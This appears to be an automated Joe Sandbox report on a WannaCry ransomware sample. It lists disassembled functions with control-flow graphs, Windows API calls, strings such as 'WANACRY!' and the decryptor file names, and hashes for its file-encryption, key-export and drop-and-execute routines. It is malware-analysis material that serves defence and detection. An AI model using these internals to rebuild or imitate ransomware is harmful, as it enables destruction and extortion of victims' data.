5079 406761 malloc 5078->5079 5082 40675d 5078->5082 5080 406773 malloc 5079->5080 5079->5082 5081 406794 free 5080->5081 5080->5082 5081->5082 5147 4017ff 5152 40181b DeleteCriticalSection 5147->5152 5149 401807 5150 401815 5149->5150 5151 40180e ??3@YAXPAX 5149->5151 5151->5150 5152->5149

                                      Executed Functions

                                      Function 10001960 Relevance: 75.8, APIs: 41, Strings: 2, Instructions: 598filetimeCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 0 10001960-10001a05 1 10001a12-10001a32 CreateFileW 0->1 2 10001a07-10001a0c 0->2 3 10001a74-10001a84 GetFileSizeEx 1->3 4 10001a34-10001a42 call 10003000 1->4 2->1 6 10001a91-10001ac8 GetFileTime ReadFile 3->6 7 10001a86-10001a8c 3->7 15 10002088-1000208d 4->15 16 10001a48-10001a68 CreateFileW 4->16 9 10001b98-10001bb1 SetFilePointer 6->9 10 10001ace-10001ae2 6->10 8 1000208e-100020a8 _local_unwind2 7->8 13 10001bb7-10001bff swprintf CreateFileW 9->13 14 10001c5b-10001c79 ReadFile 9->14 10->9 12 10001ae8-10001b08 ReadFile 10->12 12->9 18 10001b0e-10001b19 12->18 19 10001c01-10001c2b CreateFileW 13->19 20 10001c38-10001c3f 13->20 14->15 17 10001c7f-10001c89 14->17 15->8 16->3 21 10001a6a-10001a6f 16->21 17->15 22 10001c8f-10001cb6 SetFilePointer WriteFile 17->22 18->9 23 10001b1b-10001b20 18->23 19->20 24 10001c2d-10001c33 19->24 25 10001c45-10001c56 20->25 26 10001d2e-10001d32 20->26 21->8 22->24 27 10001cbc-10001cc6 22->27 23->9 28 10001b22-10001b42 ReadFile 23->28 24->8 25->26 29 10001d34-10001d3c 26->29 30 10001d8e-10001dbc call 10004370 26->30 27->24 31 10001ccc-10001d03 SetFilePointer WriteFile 27->31 28->9 32 10001b44-10001b65 ReadFile 28->32 29->30 33 10001d3e-10001d48 29->33 36 10001dbe-10001dc4 30->36 40 10001dc9-10001df4 call 10005dc0 30->40 35 10001d09-10001d13 31->35 31->36 32->9 37 10001b67-10001b70 32->37 33->30 38 10001d4a-10001d52 33->38 35->36 41 10001d19-10001d28 SetFilePointer 35->41 36->8 37->9 42 10001b72-10001b95 _local_unwind2 37->42 38->30 43 10001d54-10001d64 rand 38->43 48 10001dfa-10001dfc 40->48 41->26 43->30 45 10001d66-10001d72 43->45 45->30 47 10001d74-10001d88 45->47 47->30 49 10001e11-10001e2a WriteFile 48->49 50 10001dfe-10001e0f 48->50 49->15 51 10001e30-10001e4b WriteFile 49->51 50->48 51->15 52 10001e51-10001e71 WriteFile 51->52 52->15 53 10001e77-10001e8f WriteFile 52->53 53->15 54 10001e95-10001eb0 WriteFile 53->54 54->15 55 10001eb6-10001eba 54->55 56 10001ec0-10001edf 55->56 57 100020b7-100020d8 SetFileTime 55->57 60 10001ee5-10001f13 SetFilePointer ReadFile 56->60 61 10001f9b-10001fa3 56->61 58 10002130-10002155 CloseHandle MoveFileW 57->58 59 100020da-1000210e FindCloseChangeNotification CloseHandle MoveFileW 57->59 66 10002158-1000215a 58->66 64 10002110-1000211f SetFileAttributesW 59->64 65 10002121-1000212e DeleteFileW 59->65 60->24 67 10001f19-10001f23 60->67 62 10001fa9 61->62 63 100020ab-100020b1 61->63 68 10001fb9-10001fc1 62->68 69 10001fab-10001fb3 62->69 63->57 64->66 65->66 70 10002189-100021a9 _local_unwind2 66->70 71 1000215c-10002164 66->71 67->24 72 10001f29-10001f64 call 10006940 WriteFile 67->72 74 10001fc3-10001fc6 68->74 75 10001fcc-10001ff0 ReadFile 68->75 69->63 69->68 71->70 76 10002166-10002186 71->76 72->36 79 10001f6a-10001f74 72->79 74->15 74->75 75->36 78 10001ff6-10001ffe 75->78 76->70 78->36 80 10002004-10002023 78->80 79->36 81 10001f7a-10001f94 SetFilePointer 79->81 82 10002041-1000207a call 10006940 WriteFile 80->82 83 10002025-1000203f 80->83 81->61 82->15 86 1000207c-10002082 82->86 83->82 86->15 86->61
                                      APIs
                                      • CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000,?,?,?), ref: 10001A21
                                      • CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,?), ref: 10001A57
                                      • GetFileSizeEx.KERNEL32(00000000,?,?,?), ref: 10001A7C
                                      • GetFileTime.KERNEL32(00000000,?,?,?,?,?), ref: 10001AA7
                                      • ReadFile.KERNELBASE(00000000,?,00000008,?,00000000,?,?), ref: 10001AC0
                                      • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,?), ref: 10001B00
                                      • ReadFile.KERNEL32(?,?,?,?,00000000,?,?), ref: 10001B3A
                                      • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,?), ref: 10001B5D
                                      • _local_unwind2.MSVCRT ref: 10001B78
                                      • _local_unwind2.MSVCRT ref: 1000208E
                                      • SetFileTime.KERNELBASE(?,?,?,?,?,?), ref: 100020CD
                                      • FindCloseChangeNotification.KERNELBASE(?,?,?), ref: 100020DA
                                      • CloseHandle.KERNEL32(?,?,?), ref: 100020E1
                                      • MoveFileW.KERNEL32(?,?), ref: 10002101
                                      • SetFileAttributesW.KERNELBASE(?,00000080,?,?), ref: 10002119
                                      • DeleteFileW.KERNEL32(?,?,?), ref: 10002128
                                      • CloseHandle.KERNEL32(?,?,?), ref: 10002130
                                      • MoveFileW.KERNEL32(?,?), ref: 1000214D
                                      • _local_unwind2.MSVCRT ref: 1000218F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: File$Read$Close_local_unwind2$CreateHandleMoveTime$AttributesChangeDeleteFindNotificationSize
                                      • String ID: %s%s$WANACRY!
                                      • API String ID: 2042663167-3951969912
                                      • Opcode ID: 23b110fa1eaf302a1690ae2ada5f59b11b6c089050db00894cddd4ed701fb794
                                      • Instruction ID: 1cd18d78d3b1adc01fd8983c6b1e49359ce7f15159302df972715ebca2b9e78f
                                      • Opcode Fuzzy Hash: 23b110fa1eaf302a1690ae2ada5f59b11b6c089050db00894cddd4ed701fb794
                                      • Instruction Fuzzy Hash: DE326571A41229ABEB25DF54CC85FEA73B8FB48790F0042A9F619A7184D7709E84CF64
                                      Function 10002300 Relevance: 49.4, APIs: 23, Strings: 5, Instructions: 373fileCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 141 10002300-100023ad ??2@YAPAXI@Z call 10003730 swprintf FindFirstFileW 144 10002413-10002422 call 10002f70 141->144 145 100023af-1000240e call 100036a0 ??3@YAXPAX@Z call 100037c0 ??3@YAXPAX@Z 141->145 151 10002426-1000242e 144->151 155 100027c9-100027e1 145->155 153 10002430-10002432 151->153 154 10002438-10002449 wcscmp 151->154 153->154 156 10002642-10002658 FindClose 153->156 157 1000262a-1000263c FindNextFileW 154->157 158 1000244f-10002460 wcscmp 154->158 159 10002688-10002692 156->159 160 1000265a-10002662 call 10002940 156->160 157->151 157->156 158->157 161 10002466-1000248f swprintf 158->161 163 10002694-100026b2 _wcsnicmp 159->163 164 100026df-100026e2 159->164 169 10002667-10002669 160->169 165 10002521-10002525 161->165 166 10002495-100024ab call 100032c0 161->166 171 100026b4-100026b9 163->171 172 100026bb 163->172 167 100026e4-100026e8 164->167 168 1000270d-1000271a 164->168 165->157 170 1000252b-1000253c wcscmp 165->170 166->157 182 100024b1-10002503 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z wcslen ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z call 100035c0 166->182 167->168 174 100026ea-100026ff call 10003200 167->174 179 10002746-10002754 168->179 180 1000271c-10002720 168->180 175 1000266b-10002677 call 10003760 169->175 176 1000267c-10002684 169->176 170->157 177 10002542-10002553 wcscmp 170->177 178 100026c0-100026c8 171->178 172->178 204 10002701 call 10003280 174->204 205 10002708 call 10003240 174->205 175->176 176->160 188 10002686 176->188 177->157 187 10002559-1000256a wcscmp 177->187 189 100026ca-100026ce 178->189 190 100026dd 178->190 184 10002771-1000278c ??3@YAXPAX@Z 179->184 185 10002756-10002764 call 10003620 179->185 180->179 191 10002722 180->191 203 10002508-1000251c ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z 182->203 196 100027b7-100027c4 ??3@YAXPAX@Z 184->196 197 1000278e-100027b5 ??3@YAXPAX@Z 184->197 206 10002769-1000276b 185->206 187->157 195 10002570-100025a0 call 10002d60 187->195 188->159 198 100026d0 189->198 199 100026d1-100026db 189->199 190->164 200 10002723-10002728 191->200 195->157 215 100025a6-100025a9 195->215 196->155 197->196 197->197 198->199 199->189 199->190 201 1000272a 200->201 202 1000272f-10002737 call 10002300 200->202 201->202 213 1000273c-10002744 202->213 203->157 214 10002706 204->214 205->168 206->185 210 1000276d 206->210 210->184 213->179 213->200 214->168 215->157 216 100025ab-100025ad 215->216 217 100025bf-10002625 wcsncpy * 2 call 10003760 216->217 218 100025af-100025b3 216->218 217->157 218->217 219 100025b5-100025bd 218->219 219->157 219->217
                                      APIs
                                      • ??2@YAPAXI@Z.MSVCRT ref: 10002332
                                        • Part of subcall function 10003730: ??2@YAPAXI@Z.MSVCRT ref: 10003732
                                      • swprintf.MSVCRT ref: 10002388
                                      • FindFirstFileW.KERNELBASE(?,?,?,00000000,00000000,?), ref: 1000239E
                                      • ??3@YAXPAX@Z.MSVCRT ref: 100023D2
                                        • Part of subcall function 100037C0: ??3@YAXPAX@Z.MSVCRT ref: 100037E5
                                      • ??3@YAXPAX@Z.MSVCRT ref: 10002404
                                      • wcscmp.MSVCRT ref: 10002442
                                      • wcscmp.MSVCRT ref: 10002459
                                      • swprintf.MSVCRT(?,%s\%s,?,?), ref: 10002480
                                      • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000,?,?), ref: 100024BE
                                      • wcslen.MSVCRT ref: 100024CC
                                      • ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 100024E2
                                      • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 10002516
                                      • FindNextFileW.KERNELBASE(?,?), ref: 10002634
                                      • FindClose.KERNEL32(?), ref: 10002643
                                        • Part of subcall function 100036A0: ??3@YAXPAX@Z.MSVCRT ref: 100036F6
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: ??3@$FindG@2@@std@@G@std@@U?$char_traits@V?$allocator@$??2@FileTidy@?$basic_string@swprintfwcscmp$?assign@?$basic_string@CloseFirstNextV12@wcslen
                                      • String ID: %s\%s$%s\*$@Please_Read_Me@.txt$@WanaDecryptor@.bmp$@WanaDecryptor@.exe.lnk
                                      • API String ID: 3909534679-268640142
                                      • Opcode ID: c9a76a70b7b632c4450580839e071ff4f202a5209e9f2a602d3636a96f089ea2
                                      • Instruction ID: de254d0e5b2da72f41e6c310beb378338d29d9cbc8abb0440bfd0675c5201551
                                      • Opcode Fuzzy Hash: c9a76a70b7b632c4450580839e071ff4f202a5209e9f2a602d3636a96f089ea2
                                      • Instruction Fuzzy Hash: 38D1B1755083819FE720DB64C880AABB7E8FFC9384F10491DF99983255EB75E909CB93
                                      Function 0075A044 Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 171fileprocessCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 324 75a044-75a074 GetPEB 325 75a077-75a09a 324->325 326 75a09d-75a0a0 325->326 327 75a0a6-75a0bc 326->327 328 75a1ee-75a22b CreateFileA 326->328 329 75a110-75a116 327->329 330 75a0be-75a0c5 327->330 348 75a265-75a269 328->348 349 75a22d-75a230 328->349 332 75a129-75a12f 329->332 333 75a118-75a11f 329->333 330->329 334 75a0c7-75a0ce 330->334 336 75a131-75a138 332->336 337 75a148-75a14e 332->337 333->332 335 75a121-75a124 333->335 334->329 338 75a0d0-75a0d7 334->338 340 75a1bb-75a1c0 335->340 336->337 341 75a13a-75a141 336->341 342 75a167-75a16f 337->342 343 75a150-75a157 337->343 338->329 344 75a0d9-75a0dd 338->344 351 75a1e0-75a1e9 340->351 352 75a1c2-75a1c5 340->352 341->337 350 75a143-75a146 341->350 345 75a171-75a178 342->345 346 75a188-75a18e 342->346 343->342 353 75a159-75a160 343->353 344->329 347 75a0df-75a0e3 344->347 345->346 354 75a17a-75a181 345->354 356 75a1a7-75a1ad 346->356 357 75a190-75a197 346->357 347->340 355 75a0e9-75a10b 347->355 358 75a232-75a238 349->358 350->340 351->326 352->351 359 75a1c7-75a1ca 352->359 353->342 360 75a162-75a165 353->360 354->346 361 75a183-75a186 354->361 355->325 356->340 363 75a1af-75a1b6 356->363 357->356 362 75a199-75a1a0 357->362 364 75a246-75a252 WriteFile 358->364 365 75a23a-75a242 358->365 359->351 366 75a1cc-75a1cf 359->366 360->340 361->340 362->356 368 75a1a2-75a1a5 362->368 363->340 369 75a1b8 363->369 371 75a255-75a262 FindCloseChangeNotification WinExec 364->371 365->358 370 75a244 365->370 366->351 372 75a1d1-75a1d4 366->372 368->340 369->340 370->371 371->348 372->351 373 75a1d6-75a1d9 372->373 373->351 374 75a1db-75a1de 373->374 374->328 374->351
                                      APIs
                                      • CreateFileA.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 0075A223
                                      • WriteFile.KERNELBASE(00000000,FFCAD549,00003E00,?,00000000), ref: 0075A252
                                      • FindCloseChangeNotification.KERNELBASE(00000000), ref: 0075A256
                                      • WinExec.KERNEL32(?,00000005), ref: 0075A262
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: File$ChangeCloseCreateExecFindNotificationWrite
                                      • String ID: .dll$Clos$Crea$GetM$GetT$Kern$WinE$Writ$athA$catA$dleA$el32$lstr$odul$wBQInv.exe
                                      • API String ID: 2234911746-4250378599
                                      • Opcode ID: b9fa9f005afae4f2238664e381d422beb6f714078da43bd538e479ad2f6aa490
                                      • Instruction ID: b3f84daad31b73eccdc4b34e3880558644edcb668d147bed88f2fe06fe290d18
                                      • Opcode Fuzzy Hash: b9fa9f005afae4f2238664e381d422beb6f714078da43bd538e479ad2f6aa490
                                      • Instruction Fuzzy Hash: CF614D74D01619EBCF24CF94C844AEDFBB0BF54316F14827AD805AB240C7B89E85CB92
                                      Function 10004A40 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 200COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      APIs
                                      • SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?,7678A390,76B1DC30,771B2EE0,?), ref: 10004A97
                                      • wcslen.MSVCRT ref: 10004A9E
                                      • wcsrchr.MSVCRT ref: 10004AC0
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: FolderPathwcslenwcsrchr
                                      • String ID: %s\%s\%s$%s\*.*
                                      • API String ID: 546322749-1899009126
                                      • Opcode ID: 8a6f2f974920d52717d03da3a36b72289499b9d186961dda4ecc416d09510b88
                                      • Instruction ID: f3627253bfd0e675d6c72d42cf14d2781f3e5a035430ee9dadabd35bed43a83c
                                      • Opcode Fuzzy Hash: 8a6f2f974920d52717d03da3a36b72289499b9d186961dda4ecc416d09510b88
                                      • Instruction Fuzzy Hash: 4761D8B2504345ABF320DB64DC88FEB73E8FFC4395F01492DEA8982144EB75A509C7A6
                                      Function 004014A6 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 178filememoryCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 574 4014a6-40151e CreateFileA 575 4016d0-401707 _local_unwind2 574->575 576 401524-401532 GetFileSizeEx 574->576 576->575 577 401538 576->577 579 401547-40155e ReadFile 577->579 580 40153a-401541 577->580 579->575 581 401564-40157c memcmp 579->581 580->575 580->579 581->575 582 401582-401599 ReadFile 581->582 582->575 583 40159f-4015aa 582->583 583->575 584 4015b0-4015c5 ReadFile 583->584 584->575 585 4015cb-4015e2 ReadFile 584->585 585->575 586 4015e8-4015ff ReadFile 585->586 586->575 587 401605-40160b 586->587 587->575 588 401611 587->588 589 401623-40163d call 4019e1 588->589 590 401613-40161d 588->590 592 401642-401644 589->592 590->575 590->589 592->575 593 40164a-401678 call 402a76 GlobalAlloc 592->593 593->575 596 40167a-401696 ReadFile 593->596 596->575 597 401698-40169d 596->597 597->575 598 40169f-4016a5 597->598 599 4016b1-4016ce call 403a77 598->599 600 4016a7 598->600 599->575 600->575 601 4016a9-4016af 600->601 601->575 601->599
                                      APIs
                                      • CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040150D
                                      • GetFileSizeEx.KERNEL32(00000000,?), ref: 00401529
                                      • ReadFile.KERNELBASE(00000000,?,00000008,?,00000000), ref: 00401556
                                      • memcmp.MSVCRT ref: 00401572
                                      • ReadFile.KERNELBASE(00000000,?,00000004,?,00000000), ref: 00401591
                                      • ReadFile.KERNEL32(00000000,?,00000100,?,00000000), ref: 004015BD
                                      • ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 004015DA
                                      • ReadFile.KERNEL32(00000000,?,00000008,?,00000000), ref: 004015F7
                                      • GlobalAlloc.KERNEL32(00000000,?,?,?,00000010,?,?,?,?), ref: 0040166D
                                      • ReadFile.KERNEL32(000000FF,?,?,?,00000000), ref: 0040168E
                                      • _local_unwind2.MSVCRT ref: 004016D6
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: File$Read$AllocCreateGlobalSize_local_unwind2memcmp
                                      • String ID: WANACRY!
                                      • API String ID: 1982583507-1240840912
                                      • Opcode ID: 3616707767261f84fde6c13708b35c3d4dbb974938da28d5f777545cb9cffa02
                                      • Instruction ID: 23909f9b909e50c20e483d6bc4be6e23e355ec3bf8b0a6de4718622c8bde6caa
                                      • Opcode Fuzzy Hash: 3616707767261f84fde6c13708b35c3d4dbb974938da28d5f777545cb9cffa02
                                      • Instruction Fuzzy Hash: 6E512C71900209ABDB219F95CD84FEEB7BCEB08790F1444BAF515F21A0D739AA45CB28
                                      Function 004021E9 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 233memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00402457: SetLastError.KERNEL32(0000000D,00402200,?!@,00000040,?,76789DE0,00000000,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402463
                                      • SetLastError.KERNEL32(000000C1,?,76789DE0,00000000,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402219
                                      • GetModuleHandleA.KERNEL32(kernel32.dll,?,76789DE0,00000000,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402291
                                      • GetNativeSystemInfo.KERNELBASE(?), ref: 004022B9
                                      • GetProcessHeap.KERNEL32(00000008,0000003C), ref: 00402313
                                      • HeapAlloc.KERNEL32(00000000), ref: 0040231A
                                      • memcpy.MSVCRT ref: 004023A7
                                        • Part of subcall function 00402470: memset.MSVCRT ref: 004024D5
                                      • SetLastError.KERNEL32(0000045A), ref: 00402430
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: ErrorLast$Heap$AllocHandleInfoModuleNativeProcessSystemmemcpymemset
                                      • String ID: ?!@$GetNativeSystemInfo$kernel32.dll
                                      • API String ID: 3761865475-3657104962
                                      • Opcode ID: 3b06903ad61f6388da72c89ae901831d64978f6829295481817f3ae41c17b4c7
                                      • Instruction ID: 3b750285519b5b92c664dbe57bf04ddc7e4262fbacbc213f0015b22f99412f1c
                                      • Opcode Fuzzy Hash: 3b06903ad61f6388da72c89ae901831d64978f6829295481817f3ae41c17b4c7
                                      • Instruction Fuzzy Hash: 0A81AD71A01602AFDB209FA5CE49AAB77E4BF08314F10443EF945E76D1D7B8E851CB98
                                      Function 10004040 Relevance: 10.6, APIs: 7, Instructions: 110filememoryencryptionCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CryptExportKey.ADVAPI32(?,00000000,?,00000000,00000000,00000008), ref: 10004087
                                      • GlobalAlloc.KERNEL32(00000000,00000008), ref: 1000409E
                                      • _local_unwind2.MSVCRT ref: 100040D0
                                      • CreateFileA.KERNELBASE(10003B63,40000000,00000000,00000000,00000002,00000080,00000000), ref: 10004101
                                      • WriteFile.KERNELBASE(00000000,00000000,00000008,?,00000000), ref: 10004122
                                      • _local_unwind2.MSVCRT ref: 10004132
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: File_local_unwind2$AllocCreateCryptExportGlobalWrite
                                      • String ID:
                                      • API String ID: 3505601379-0
                                      • Opcode ID: e4b24a4896234405ddc3ddca99fc1a5403f2d49dbf9026041e1240e4559407fe
                                      • Instruction ID: f2e4c173d5c66980f3caf99a3bd82662d3c6a30a16efd476d92b7f0e9405a5ca
                                      • Opcode Fuzzy Hash: e4b24a4896234405ddc3ddca99fc1a5403f2d49dbf9026041e1240e4559407fe
                                      • Instruction Fuzzy Hash: 4E3150B1D10225ABE720CB948C45FEFB7BCFB49BA0F200759FA25B21C4E775690487A4
                                      Function 10003F00 Relevance: 10.6, APIs: 7, Instructions: 107fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 10003F45
                                      • GetFileSize.KERNEL32(00000000,00000000), ref: 10003F5B
                                      • _local_unwind2.MSVCRT ref: 10004017
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: File$CreateSize_local_unwind2
                                      • String ID:
                                      • API String ID: 1039228802-0
                                      • Opcode ID: a418ad88937dbf3f3f2f90a93e697cbecaf6d1334aa3d5b8eb2f9d90e99da0df
                                      • Instruction ID: e4fcb762b0a2cf85546a5226953a162905cdc9c51df010501401105139b3880b
                                      • Opcode Fuzzy Hash: a418ad88937dbf3f3f2f90a93e697cbecaf6d1334aa3d5b8eb2f9d90e99da0df
                                      • Instruction Fuzzy Hash: C23150B1D04219ABEB10CF988C84FBFB7BCF7487A0F104729FA28A22D4E73558018764
                                      Function 10004170 Relevance: 7.7, APIs: 5, Instructions: 168encryptionCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CryptExportKey.ADVAPI32(?,00000000,?,00000000,?,?,00000008,?,?,?,10003C7F,?,?,?,00000007,00000000), ref: 100041AD
                                      • CryptGetKeyParam.ADVAPI32(?,00000008,?,?,00000000,?,?,10003C7F,?,?,?,00000007,00000000), ref: 100041DF
